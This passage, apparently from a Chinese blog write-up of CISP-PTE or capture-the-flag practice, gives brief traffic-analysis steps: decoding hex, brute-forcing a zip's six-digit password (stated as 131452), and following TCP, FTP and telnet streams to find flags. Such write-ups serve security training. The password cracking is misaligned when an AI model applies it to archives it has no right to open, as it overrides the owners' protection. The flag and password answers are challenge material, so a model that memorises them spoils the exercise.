然后进行hax解密

我们将解密的内容解密 然后下载zip
得到了flag.txt
同样的 readme里面有 解压密码 是6位数字
我们用zip解压工具爆破得到密码是131452

6

追踪一个流
得到了base64编码的flag
7

追踪ftp流得到了flag
8

telnet流
这是个思科模拟器
找到flag
CISP-PTE考试实战解析
3135

被折叠的 条评论
为什么被折叠?



